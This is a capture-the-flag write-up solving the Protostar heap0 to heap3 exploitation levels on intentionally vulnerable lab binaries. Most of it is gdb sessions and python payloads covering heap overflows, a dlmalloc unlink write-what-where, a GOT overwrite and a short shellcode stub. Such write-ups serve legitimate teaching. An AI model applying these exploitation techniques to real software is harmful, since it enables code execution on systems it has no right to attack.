Protostar Solutions - Heap Exploitation

And we’re back with Protostar, this time working on the heap section.

Heap Exploits 0

Introductory level that demonstrates overflowing heap structures. It’s pretty simple:

1
2
3
4
5
user@protostar:/opt/protostar/bin$ objdump -dt heap0 | grep winner
08048464 g     F .text  00000014              winner
08048478 g     F .text  00000014              nowinner
08048464 <winner>:
08048478 <nowinner>:

And then we find our EIP offset:

1
2
3
4
5
6
(gdb) r $(python -c 'print "A"*72 + "B"*4')
Starting program: /opt/protostar/bin/heap0 $(python -c 'print "A"*72 + "B"*4')
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Using our mad exploit skills:

1
2
3
$ ./heap0 $(python -c 'print "A"*72 + "\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050
level passed

Heap Exploits 1

This challenge dives a bit more into heap exploitation with a nice write-what-where, and the goal is to redirect execution flow to the function winner. Let’s find that first:

1
2
$ objdump -dt heap1 | grep winner
08048494 g     F .text  00000025              winner

Now let’s check out the actual bug:

1
2
3
4
5
6
7
8
9
(gdb) r $(python -c 'print "A"*20 + "B"*4') xx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 $(python -c 'print "A"*20 + "B"*4') xx

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x42424242 <Address 0x42424242 out of bounds>, src=0xbffff9a3 "xx") at strcpy.c:40
40  strcpy.c: No such file or directory.
    in strcpy.c

As we can see, we control the source (argument two) and the destination, address one, which is the result of a pointer overflow in the following code:

1
2
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

We have a couple of options for exploitation, but I chose to simply overwrite ebp+4 to take control over the return address. Let’s find that first:

1
2
3
4
5
6
7
8
9
10
11
(gdb) b *0x08048566
Breakpoint 1 at 0x8048566: file heap1/heap1.c, line 35.
(gdb) r xx yy
Starting program: /opt/protostar/bin/heap1 xx yy
and that's a wrap folks!

Breakpoint 1, main (argc=3, argv=0xbffff864) at heap1/heap1.c:35
35  heap1/heap1.c: No such file or directory.
    in heap1/heap1.c
(gdb) x/wx $ebp
0xbffff7b8: 0xbffff838

This shows ebp is located at 0xbffff7b8, so let’s overwrite that:

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) r $(python -c 'print "A"*20 + "\x98\xf7\xff\xbf"') $(python -c 'print "A"*4 + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 $(python -c 'print "A"*20 + "\x98\xf7\xff\xbf"') $(python -c 'print "A"*4 + "B"*4')
and that's a wrap folks!

Breakpoint 1, main (argc=0, argv=0xbffff844) at heap1/heap1.c:35
35  in heap1/heap1.c
(gdb) x/wx $ebp
0xbffff798: 0x41414141
(gdb) x/wx $ebp+4
0xbffff79c: 0x42424242
(gdb) 

Note that ebp’s address changed; this is a stupid method and is susceptible to stack shifting, so we need to ensure we accomodate for that. Anyway, now we can control where we return to, so let’s pop in our winning address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) r $(python -c 'print "A"*20 + "\x98\xf7\xff\xbf"') $(python -c 'print "A"*4 + "\x94\x84\x04\x08"')

Breakpoint 1, main (argc=0, argv=0xbffff844) at heap1/heap1.c:35
35  in heap1/heap1.c
(gdb) x/wx $ebp
0xbffff798: 0x41414141
(gdb) x/wx $ebp+4
0xbffff79c: 0x08048494
(gdb) c
Continuing.
and we have a winner @ 1410933753

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) 

And that’s all! Notice we still segfault, this is because we’ve totally screwed up the stack, and it’s trying to pop another value off the stack and return there. We can trivally fix that by appending the address for exit:

1
2
3
4
5
6
7
(gdb) r $(python -c 'print "A"*20 + "\x98\xf7\xff\xbf"') $(python -c 'print "A"*4 + "\x94\x84\x04\x08" + "\xc0\x60\xec\xb7"')
Starting program: /opt/protostar/bin/heap1 $(python -c 'print "A"*20 + "\x98\xf7\xff\xbf"') $(python -c 'print "A"*4 + "\x94\x84\x04\x08" + "\xc0\x60\xec\xb7"')
and that's a wrap folks!
and we have a winner @ 1410933890

Program exited with code 0124.
(gdb) 

Heap Exploits 2

This one is pretty simple, and doesn’t require us to really exploit much. What we have is basically a contrived authentication service that’s got four commands: auth, reset, service, and login. The goal is to trigger the “you have logged in already!” message. Here’s the solution:

1
2
3
4
5
6
7
8
9
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth xx
[ auth = 0x804c008, service = (nil) ]
service xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

First we auth, which allocates the auth structure:

1
2
3
4
5
6
7
if(strncmp(line, "auth ", 5) == 0) {
  auth = malloc(sizeof(auth));
  memset(auth, 0, sizeof(auth));
  if(strlen(line + 5) < 31) {
    strcpy(auth->name, line + 5);
  }
}

Then we execute service with a long string:

1
2
3
if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
}

strdup duplicates a string, allocated via malloc. Note in the auth struct allocation that it’s only allocating sizeof(auth). This is an incorrect allocation, as it’s really just allocating memory for a struct pointer, and not the 30 odd bytes for the structure. We can easily demonstrate this with multiple auth struct allocations:

1
2
3
4
5
6
$ ./heap2
[ auth = (nil), service = (nil) ]
auth 1 
[ auth = 0x804c008, service = (nil) ]
auth 2
[ auth = 0x804c018, service = (nil) ]

This 16 byte difference is comprised solely of chunk headers. All we need to do is set the auth flag in the struct to some non-zero value, which can be done with the service command and our arbitrarily long string allocation.

1
2
3
4
5
6
7
if(strncmp(line, "login", 5) == 0) {
    if(auth->auth) {
      printf("you have logged in already!\n");
    } else {
      printf("please enter your password\n");
    }
  }

Heap Exploits 3

This is the level that I thought more of these would be; this level requires us to manipulate heap metadata in order to obtain code execution. Whilst this method is terribly outdated and not applicable at all to modern heaps, it’s still a blast, and many of the high level methods still apply.

I highly, highly recommend reading the essential Once Upon A Free() if you’re unfamiliar with old school, dlmalloc heap exploitation, as there is quite a bit of prerequisite knowledge necessary to complete this stage. I’ll assume the reader has a cursory understanding of how this process will go down.

Much like the previous stages, we need to redirect the program to another function, winner. Stage 3 executes three separate, 32 byte malloc’s, strcpy’s our input into each chunk, then free’s them in reverse:

1
2
3
4
5
6
7
8
9
10
11
a = malloc(32);
b = malloc(32);
c = malloc(32);

strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);

free(c);
free(b);
free(a);

Let’s first check out the memory layout. After all three allocations and strcpy’s, but before any free’s:

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) x/10wx 0x804c008-8
0x804c000:  0x00000000  0x00000029  0x41414141  0x00000000
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000
(gdb) x/10wx 0x804c030-8
0x804c028:  0x00000000  0x00000029  0x42424242  0x00000000
0x804c038:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c048:  0x00000000  0x00000000
(gdb) x/10wx 0x804c058-8
0x804c050:  0x00000000  0x00000029  0x43434343  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000
(gdb)

Recall that each chunk has metadata in-channel that allows dlmalloc to traverse, coalesce, and fetch chunks on the heap. In the above case, three allocated chunks have two requisite fields: prev_size and size. As none of the previous chunks in the heap have been free’d, theprev_size field is 0x0. The size field is 0x29, or 41. The lower three bits are reserved in this field, so accounting for that:

1
2
3
(gdb) p/d 0x29 & ~3
$1 = 40
(gdb)      

These three chunks are then free’d in reverse order, starting from chunk c. Exploitation for this rather straight forward, we just need to overflow adjacent metadata headers to craft an illicit chunk. Once free enters its unlink macro, we obtain execution flow control.

We need to start by setting the prev_size and size fields to values that allow us to control forward and backward chunk pointers. We begin by setting both fields to 0xffffffc, or -4.

1
2
3
4
5
6
7
8
9
(gdb) r $(python -c 'print "A"*32 + "\xfc\xff\xff\xff"*2') BBBB CCCC
Starting program: /opt/protostar/bin/heap3 $(python -c 'print "A"*32 + "\xfc\xff\xff\xff"*2') BBBB CCCC

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff824) at heap3/heap3.c:24
24  in heap3/heap3.c
(gdb) x/10wx 0x804c030-8
0x804c028:  0xfffffffc  0xfffffffc  0x42424242  0x00000000
0x804c038:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c048:  0x00000000  0x00000000

We now shift to setting the flink and blink values, which are set once a chunk is freed. Let’s inspect these chunks after all three have been freed:

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) x/10wx 0x804c008-8
0x804c000:  0x00000000  0x00000029  0x0804c028  0x00000000
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000
(gdb) x/10wx 0x804c030-8
0x804c028:  0x00000000  0x00000029  0x0804c050  0x00000000
0x804c038:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c048:  0x00000000  0x00000000
(gdb) x/10wx 0x804c058-8
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000

The value after the size field is a forward pointer to the next free chunk. There would typically be another pointer in the next field, a backwards link, however, dlmalloc employs what’s known as fastbins. This is a singly-linked list holding recently freed small chunks ( < 64 bytes). More on this can be found here.

Taking a quick peek at the exploitable unlink macro:

1
2
3
4
5
6
7
#define unlink(P, BK, FD)
{
  BK = P->bk;
  FD = P->fd;
  FD->bk = BK;
  BK->fd = FD;
}

This macro will essentially update chunk pointers to, naturally, unlink a recently freed chunk. This boils down to:

1
2
*(next->fd + 12) = next->bk
*(next->bk + 8) = next->fd

A simple write-what-where. If we set fd to return address - 0xc, or the where, then bk is the what and ends up being the value popped into EIP. Let’s test this out by attempting to write 0x42424242 into chunk A:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(gdb) r $(python -c 'print "A"*32 + "\xfc\xff\xff\xff"*2') $(python -c 'print "B"*4 + "\xfc\xbf\x04\x08" + "B"*4') CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 $(python -c 'print "A"*32 + "\xfc\xff\xff\xff"*2') $(python -c 'print "B"*4 + "\xfc\xbf\x04\x08" + "B"*4') CCCC

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff814) at heap3/heap3.c:24
24  in heap3/heap3.c
(gdb) ni 3

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c030) at common/malloc.c:3638
3638    common/malloc.c: No such file or directory.
in common/malloc.c
(gdb) x/10wx 0x804c008-8
0x804c000:  0x00000000  0x00000029  0x42424242  0x41414141
0x804c010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141
(gdb) 

So we can write a controlled value somewhere. We’ll take the path of least resistance for exploitation and overwrite the GOT entry for puts with the location of our shellcode, which will be a simple jump to the appropriate function.

1
2
$ objdump -t --dynamic-relo ./heap3 | grep puts
0804b128 R_386_JUMP_SLOT   puts

and winner:

1
2
(gdb) p winner
$2 = {void (void)} 0x8048864 <winner>

Since our return address needs to be at an offset of -0xc, we’ll be using 0x804b11c as the return address. It is also worth noting that the first field of the chunk is clobbered during the free routine, so we’ll need an offset of +4 there as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) r AAAA$(python -c 'print "A"*28 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "\x41"*4 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap3 AAAA$(python -c 'print "A"*28 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "\x41"*4 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC

Breakpoint 1, 0x08048935 in main (argc=4, argv=0xbffff814) at heap3/heap3.c:24
24  heap3/heap3.c: No such file or directory.
    in heap3/heap3.c
(gdb) x/i $eip
0x8048935 <main+172>:   call   0x8048790 <puts@plt>
(gdb) si
0x08048790 in puts@plt ()
(gdb) x/i $eip
0x8048790 <puts@plt>:   jmp    DWORD PTR ds:0x804b128
(gdb) ni
0x0804c00c in ?? ()
(gdb) x/wx $eip
0x804c00c:  0x41414141
(gdb) 

This gives us about eight bytes until the clobbered field, but this is sufficient for our purposes. Using metasm, we can generate shellcode for a simple call winner:

1
2
3
metasm > push 0x08048864; ret
"\x68\x64\x88\x04\x08\xc3"
metasm > 
1
2
3
user@protostar:/opt/protostar/bin$ ./heap3 AAAA$(python -c 'print "\x68\x64\x88\x04\x08\xc3" + "A"*22 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "\x41"*4 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC
that wasn't too bad now, was it? @ 1411285668
user@protostar:/opt/protostar/bin$ 

And that’s it! I really wish this level had more dlmalloc exploitation, or post-2004 stuff (see here), but this was fun as is. Fusion seems to be an advanced version of Protostar, so here’s to hoping there’s more there.